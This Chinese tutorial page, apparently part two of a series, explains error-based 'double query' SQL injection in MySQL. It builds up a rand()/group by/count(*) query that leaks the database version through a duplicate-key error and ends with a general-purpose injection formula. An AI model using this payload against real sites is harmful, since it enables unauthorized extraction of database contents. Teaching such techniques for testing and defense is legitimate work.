数据安全之双查询注入解析(2)

如果这条语句添加from的话,就会返回表中的记录的条数,就是有多少条记录就会返回多少次的版本号,看图

shuangzhuru5

这里还没有显示完!!

因此

1select concat((select version()),floor(rand()*2)) from mysql.user;

(这里我用的是mysql中的mysql数据库,user表有四条记录 )

(小编注:rand()函数是生成0-1之间的小数随机值,rand()*2是生成0-2之间的小数随机数,floor(rand()*2)就相当于生成0/1两个随机值)

Attention,这里显示的值是版本号加上rand()生成的,正确版本好是去掉后面的0或1

现在我们加上group by ,因为如果我们从from 某张表的话,可能里面就会有很多条记录,然后就可能生成随机值(据说是这样的,如果不是,还望告知)

这里用information_schema.tables来弄,因为他的记录够多 ,如前一条语句,你就可以知道啦

shuangzhuru6

group by 一下多清爽啦

看语句中

1select concat((select version()),floor(rand()*2))a from information_schema.tables group by a;

这里加粗的a是把 as a 简写成 a 而已,说一下group by ,这个的作用就是把5.1.69-0ubuntu0.10.04.10 分为一组,5.1.69-0ubuntu0.10.04.11 的分为一组

(小编注:如果各位看官不知道这里是怎么回事,执行一下

1select concat((select version()),floor(rand()*2)) from information_schema.tables

就清楚了)

最后就来到这个count()函数了,这个函数妙用可以看一下下图

1select count(*),concat((select version()),floor(rand()*2))a from information_schema.tables group by a

shuangzhuru7

看到了没有,返回了我们后面concat的内容啦

ERROR 1062 (23000): Duplicate entry ’15.1.69-0ubuntu0.10.04.1′ for key ‘group_key’,我们看看phpmyadmin下比较详细的报错:

shuangchaxun21

说了这么多就为了这个而已!!

好了,给个小小demo(demo在本文最后)给你们,不过弄不出一个没有显示返回位的,所以就将就一下的

然后双注入查询是有固定公式的

1union select 1 from (select+count(*),concat(floor(rand(0)*2),( 注入爆数据语句))a from information_schema.tables group by a)b

这里将下面的demo设置数据库的一些参数之后,保存成yi.php,我们的演示就正式开始了

(责任编辑:)

分享到:

更多
发表评论
请自觉遵守互联网相关的政策法规,严禁发布色情、暴力、反动的言论。
评价:
表情:
  • 微笑/wx
  • 撇嘴/pz
  • 抓狂/zk
  • 流汗/lh
  • 大兵/db
  • 奋斗/fd
  • 疑问/yw
  • 晕/y
  • 偷笑/wx
  • 可爱/ka
  • 傲慢/am
  • 惊恐/jk
用户名: 验证码:点击我更换图片
资料下载专区
图文资讯

如何运维网站能让其稳定高效之稳定篇

如何运维网站能让其稳定高效之稳定篇

作为一名运维工程师,工作中最大的希望就是自己运维的网站能够稳定高效运行,但理想很...[详细]

黑客、Geek等高手们都是这样上网的

黑客、Geek等高手们都是这样上网的

电脑高手们都会尽可能地寻找各种快捷高效的操作方式,譬如很多快速启动类的工具(如Exe...[详细]

如何选择最佳的数据中心闪存?

如何选择最佳的数据中心闪存?

全闪存数据中心是个未来概念,同样还有不少方法实现数据中心内服务器或基于阵列的闪存...[详细]

手机解锁:图案、数字谁更强?

手机解锁:图案、数字谁更强?

手机九宫格解锁到底安全不?九宫格能画出多少图案啊?我自己设置的九宫格总是被同学分...[详细]

黑客声称一款流行的加密App竟然只用了异或

黑客声称一款流行的加密App竟然只用了异或加密!

一名黑客生成加密程序的作者竟然没有实现其核心的功能:加密! 这位ID为NinjaDoge24(...[详细]

返回首页 返回顶部